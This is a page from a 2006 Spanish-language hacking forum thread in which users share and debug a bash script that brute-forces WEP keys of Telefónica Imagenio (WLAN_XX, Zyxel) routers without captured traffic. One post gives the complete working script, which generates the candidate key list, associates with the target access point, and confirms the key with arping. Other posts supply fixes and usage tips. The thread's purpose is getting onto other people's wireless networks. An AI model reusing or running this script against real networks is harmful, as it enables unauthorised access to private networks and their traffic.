elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
14 Febrero 2012, 08:59  


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Hacking Wireless (Moderadores: Uxio, pianista, ChimoC)
| | |-+  descifrar redes IMAGENIO sin clientes y sin paquetes ;)
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: 1 2 3 4 5 6 7 8 9 10 11 [12] 13 14 Ir Abajo Respuesta Imprimir
Autor Tema: descifrar redes IMAGENIO sin clientes y sin paquetes ;)  (Leído 46,726 veces)
pakoto

Desconectado Desconectado

Mensajes: 8


Ver Perfil
Re: descifrar redes IMAGENIO sin clientes y sin paquetes ;)
« Respuesta #165 en: 3 Noviembre 2006, 17:39 »

Utilizo ubuntu y el script me da un error arith count+1. Parece que no reconoce la suma o algo asi.

EDITO: En ubuntu arranca cambiando sh por bash en la primera linea. A ver si consigo algo.


« Última modificación: 3 Noviembre 2006, 17:57 por pakoto » En línea
epidemya

Desconectado Desconectado

Mensajes: 14


Ver Perfil
Re: descifrar redes IMAGENIO sin clientes y sin paquetes ;)
« Respuesta #166 en: 4 Noviembre 2006, 23:46 »

Cohone como pongo los archivos en el PATH

Citar
Estos dos últimos ficheros deben estar en el PATH (se deben poder ejecutar desde cualquier directorio)
gracias


En línea
cohone

Desconectado Desconectado

Mensajes: 194


Ver Perfil
Re: descifrar redes IMAGENIO sin clientes y sin paquetes ;)
« Respuesta #167 en: 5 Noviembre 2006, 02:05 »

Por ejemplo, copialos al directorio /usr/local/sbin que siempre suele estar en el path, como usuario root, claro.

con el comando:
Código:
echo $PATH
te mostrará todos los directorios, separados por dos puntos donde busca para ejecutar los comandos.

Por ejemplo, cuando instalas el airodump, los ejecutables te los copia a /usr/local/sbin/ y por eso lo puedes ejecutar desde cualquier directorio.

En línea
epidemya

Desconectado Desconectado

Mensajes: 14


Ver Perfil
Re: descifrar redes IMAGENIO sin clientes y sin paquetes ;)
« Respuesta #168 en: 5 Noviembre 2006, 02:56 »

Cohone como pongo los archivos en el PATH

Citar
Estos dos últimos ficheros deben estar en el PATH (se deben poder ejecutar desde cualquier directorio)
gracias
Me respondo yo solito, ejecutando echo $PATH ves las rutas, que estan definidas, en todas ellas buscara por defecto las aplicaciones, en Hax-puppy poniendo los nuevos progrmas en my-aplications/bin los encuentra sin ningun problema
En línea
mercucio

Desconectado Desconectado

Mensajes: 28


Ver Perfil
Re: descifrar redes IMAGENIO sin clientes y sin paquetes ;)
« Respuesta #169 en: 5 Noviembre 2006, 11:06 »

Hola,
El airodump me detecta una red WLAN_XX sin clientes. Deduzco que es una imagenio.

El problema es que no tiene nunca clientes conectados, y cuando vi este post me pareció encontrar la solución. El problema es que se ve que soy aún demasiado novato como para seguirlo todo al pie de la letra.

Por ejemplo, ¿donde tengo que transcribir el script? Lo hice en el editor de Troppix y de Hax-Puppy, pero por lo visto, o no es ahí donde debo hacerlo o no lo hice bien. ¿Con qué programa debo hacerlo? ¿Dónde lo escribo? Otro problema que se me planteó es el de los "espacios". Es decir, no veo muy claro dónde tienen que ir espacios y dónde no. Por ejemplo:

Citar
# ENTRADAS:
#
# $1 : Interfaz
# $2 : Essid
# $3 : AP

¿Ahí, después del # y del 1, 2 y 3 deben ir espacios, verdad?

Citar
arping2 -i$1 -c1 -w0 192.168.1.1 > /dev/null 2>&1
        count=$((count+1))

En la segunda línea, ¿debe ir un tabulador, no?

Y una última duda: los programas necesarios (wlandecrypter, arping2 , aireplay, wepattack) ¿están incluídos en Troppix o en Hax-Puppy?

P.D. Si existe otro método más sencillo (o mejor, dicho, para novatos) para descifrar este tipo de redes cuando no hay clientes conectados, me podríais indicar cuál es?

Gracias y saludos!
En línea
Benit0

Desconectado Desconectado

Mensajes: 2


Ver Perfil
Re: descifrar redes IMAGENIO sin clientes y sin paquetes ;)
« Respuesta #170 en: 7 Noviembre 2006, 05:35 »

Hola,
Citar
Leyendo por el hilo, se comenta...

Tienes una atheros?? Si no es asi el wdg puede no funcionar correctamente en el modo de "descifrar sin paquetes".

No sé si alguno le ha pasado, pero redirigiendo arping a un fichero de log, he obtenido lo siguiente,

arping: libnet_init(): unknown physical layer type 0x321

arping: libnet_init(): unknown physical layer type 0x321

arping: libnet_init(): unknown physical layer type 0x321

arping: libnet_init(): unknown physical layer type 0x321

arping: libnet_init(): unknown physical layer type 0x321

Antes de ejecutar el script, he probado arping y funcionaba correctamente, también he descargado las fuentes y las he compilado, ya que uso el arping que viene en Debian (version 2.05).

Llevo el chipset RT2500.

El metodo propuesto no me ha funcionado. :-(
El modo con paquetes, ha funcionado correctamente. :-)

Saludos,
 Benit0
« Última modificación: 7 Noviembre 2006, 05:43 por Benit0 » En línea
alexitos

Desconectado Desconectado

Mensajes: 11


Ver Perfil
Re: descifrar redes IMAGENIO sin clientes y sin paquetes ;)
« Respuesta #171 en: 7 Noviembre 2006, 14:20 »


Buenas, a mi también me daba el error de (count+1),
esto se soluciona cambiando la primera linea del script por #!/bin/bash

Os hago una pregunta, hay que estar en modo monitor o managed?
Porque para que el  aireplay-ng -4 .... funcione tengo que estar en monitor.
Pero nada más iniciar el scrip me pasa a managed...

Alguna idea?
Muchas gracias
En línea
*dudux
Ex-Staff
*
Desconectado Desconectado

Mensajes: 2.383


.....traficando con sueños.....


Ver Perfil
Re: descifrar redes IMAGENIO sin clientes y sin paquetes ;)
« Respuesta #172 en: 7 Noviembre 2006, 17:24 »

Moderadores!!!

este post estaria bien que fuera chincheta.....

solo decir eso...
En línea

Visita ....................    http://217.125.24.22/
Alkimi

Desconectado Desconectado

Mensajes: 11



Ver Perfil
Re: descifrar redes IMAGENIO sin clientes y sin paquetes ;)
« Respuesta #173 en: 7 Noviembre 2006, 17:34 »

Hola a todos, despues de leer el hilo que me parecio interesante me dedique a modificar un poco el script para no tener que utilizar el wlandecrypter ya que parece que la gente se hace un lio y lo he incluido en el script. Ademas de unos cambios esteticos en el codigo y que la salida salga por fichero con el formato AP ESSID Key. Por lo que ya no hay que pasarle el fichero de claves al script solo el "AP" "letras del ESSID" "interface" y "canal" espero que os guste.

Código:

#!/bin/sh

#
# ENTRADAS:
#
# $1 : Interfaz
# $2 : Letras_Essid
# $3 : AP
# $4 : Channel
#

# basado en el original de nilpOinter, mejorado por cohone

# By Alkimi

# se ha includido el generador de claves para no tener que crear el diccionario
# se genera un fichero de salida con la clabe correcta llamado salida_claves.txt con el formato
# AP ESSID KEY

#generador manual de claves para los Zyxtel Z001349
#habria que mejorarlo para detectar todos los modelos de telefonica
wlandecrypter()
{
$cadena
$ESSID
$salida

cadena='Z001349'
ESSID=$2
  if [ ! -s $3 ]; then 
      # creacion del archivo de claves a partir del ESSID y de la
      # cadena de los Zyxtel si existe el archivo continua con la ejecucion
      # sino lo crea y seria valido para todas las WLAN_XX con XX igual
  for i in $(seq 0 65535); do
j=$(printf %04X $i);
salida=$cadena$j$ESSID;
echo $salida >> $3
          done
fi
}


#funcion principal
principal()
{
#control de parametros
if [ $# -lt 4 ]; then
    echo "$0 '[Interfaz] [letras_Essid] [AP] [Chan] '"
    exit 1
fi

$WLAN
$AP
$Interfaz
$Chan

Interfaz=$1
WLAN=WLAN_$2
AP=$3
Chan=$4

#llamada a la funcion para generar claves
wlandecrypter $AP $2 $WLAN

iwconfig $Interfaz mode managed
iwconfig $Interfaz essid $WLAN
iwconfig $Interfaz ap $AP
iwconfig $Interfaz channel $Chan
iwconfig $Interfaz key s:AAAAAAAAAAAAA

echo -n " * Esperando conexion: "
while [ "$(iwconfig $Interfaz 2> /dev/null | grep Link | cut -d\= -f2 | cut -d \/ -f1)" = "0" ]; do
echo -n "."
sleep 1;
done
echo " OK"

ifconfig $Interfaz 192.168.1.254

count=0
count_echo=0

for key in `cat $WLAN`; do
iwconfig $Interfaz key s:$key

while [ "$(iwconfig $Interfaz 2> /dev/null | grep Link | cut -d\= -f2 | cut -d \/ -f1)" = "0" ]; do
        echo -en "\r * Conexion perdida, esperando..."
        sleep 1;
done

  arping -I$Interfaz -c1 192.168.1.1 -w0 > /dev/null 2>&1

  if [ $? -eq 0 ]; then
echo -en "\nKey:"
      echo $key
echo "$AP\t$WLAN\t$key" >> salida_claves.txt
      exit 0
  fi

count=$((count+1))
  count_echo=$((count_echo+1))
  if [ $count_echo -ge 50 ]; then
echo -en "\r * Claves probadas: $count"
count_echo=0
  fi
done
}

#inicio del script
principal $*
#fin del stript

« Última modificación: 9 Noviembre 2006, 12:25 por Alkimi » En línea
alexitos

Desconectado Desconectado

Mensajes: 11


Ver Perfil
Re: descifrar redes IMAGENIO sin clientes y sin paquetes ;)
« Respuesta #174 en: 8 Noviembre 2006, 12:24 »


Hola a todos.
Si lo he entendido bien lo que hace el scrip es conectarse a la red WLAN_XX con cada contraseña y mandar una especie de ping. Asi se repite para cada clave del fichero de claves.

Supongo que estas lineas quieren decir que si no se está asociado a la red se espere un poco mas, no?

while [ "$(iwconfig $1 2> /dev/null | grep Link | cut -d\= -f2 | cut -d \/ -f1)" = "0" ]; do
        echo -n "."
        sleep 1;
done

Alguien puede explicarme esto, porque a mi SI NO ESTOY ASOCIADO la siguiente sentencia:
echo $(iwconfig eth1 2> /dev/null | grep Link | cut -d\= -f2 | cut -d \/ -f1)
me da como respuesta toda esta linea:
Link Quality:0 Signal level:0 Noise level:0

Con lo que si se hace la comparación =0 dará que es falsa y por lo tanto el scrip piensa que estoy asociado.

Por eso creo que es un posible BUG del wlandestroy, yo no tengo ni idea de bash, si alguien sabe un poco seguro que lo apaña en dos minutos. De momento estoy intentando con "cut" y compañia, pero no consigo hacer lo que quiero (Aislar el parametro de Link quality)

Un saludo.
En línea
ZariK

Desconectado Desconectado

Mensajes: 83


Ver Perfil
Re: descifrar redes IMAGENIO sin clientes y sin paquetes ;)
« Respuesta #175 en: 8 Noviembre 2006, 12:29 »

Wenass!!!

 Sabeis cm modificar el wlandestroy de manera q funcione cn redes q tenga de essid distinta a wlan_xx??? xo q se sepa con certeza q es de telefonica (router zyxel x ejemplo y demas pistas...)

 He intentado hacerlo cn mi linea q es de telefonica y tngo un router zyxel.. me he inventado el essid ya q tengo puesto otro distinto a wlanxx y he tenido q poner "inventado" para q funcione el wlandestroy wlan_31 xo claro la clave q me saka tiene los dos ultimos digitos mal cm es normal xD.

 Pos eso, haber si sabeis hacer funcionar el wlandestroy cn redes q tengan el essid distinto a wlan_xx.

 Gracias x vuestro esfuerzo. Saludos

En línea
alexitos

Desconectado Desconectado

Mensajes: 11


Ver Perfil
Re: descifrar redes IMAGENIO sin clientes y sin paquetes ;)
« Respuesta #176 en: 8 Noviembre 2006, 12:54 »


Buenas otra vez.
Ya he solucionado lo del wlandestroy

A mi me funciona cambiando la sentencia:
Código:
       while [ "$(iwconfig $Interfaz 2> /dev/null | grep Link | cut -d\= -f2 | cut -d \/ -f1)" = "0" ]; do


por esta otra:
Código:
while [ "$(iwconfig $1 2> /dev/null | grep Link | gawk -F" " '{print $2}' | gawk -F: '{print $2}' )" = "0" ]; do

Lo mismo a alguien le es util.
Un saludo y hasta otra
En línea
jubuntu

Desconectado Desconectado

Mensajes: 1


Ver Perfil
Re: descifrar redes IMAGENIO sin clientes y sin paquetes ;)
« Respuesta #177 en: 8 Noviembre 2006, 22:18 »

Hola,

Voy a explicar mi experiencia con wlandecripter. He utilizado ubuntu para ello.

Una vez he conseguido instalarme wlandecrypter, wepattack , arping (NOTA:en ubuntu tengo arping y no arping2) he seguido la explicación que se hizo en el primer mensaje de este thread.

El principal problema que tenía era que si ejecutaba aireplay -4 -b {BSSID} -f1 ath0 en una shell y a continuación en otra shell ejecutaba wlandestroy.sh, dentro del script wlandestroy.sh configuraba la tarjeta wireless en modo managed y por lo tanto aireplay no podía capturar ningún paquete AP.

Después de estudiar wlandestroy.sh me di cuenta que no era necesario aireplay, sino que en el momento que se realizaba arping con la password correcta el router respondía. Y por lo tanto ya sabía la clave.

Así que modifiqué el script para que cuando el arping devolviera "Recived x" donde x era mayor que 0 signifaba, respondia que ya teniamos la clave wep.

En principio, la ip del router es la 192.168.1.1 y no creo que los router de imagenio tengan otras.

Un saludo a todos
En línea
Alkimi

Desconectado Desconectado

Mensajes: 11



Ver Perfil
Re: descifrar redes IMAGENIO sin clientes y sin paquetes ;)
« Respuesta #178 en: 9 Noviembre 2006, 12:31 »

Estoy trabajando en una nueva version de script para que sirba para todas las redes imagenio, espero tenerlo en breve.
En línea
ZariK

Desconectado Desconectado

Mensajes: 83


Ver Perfil
Re: descifrar redes IMAGENIO sin clientes y sin paquetes ;)
« Respuesta #179 en: 9 Noviembre 2006, 13:47 »

Ánimo!!! No dudes en postear tus resultadoss!!

Saludoss!!!
En línea
Páginas: 1 2 3 4 5 6 7 8 9 10 11 [12] 13 14 Ir Arriba Respuesta Imprimir 

Ir a:  
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines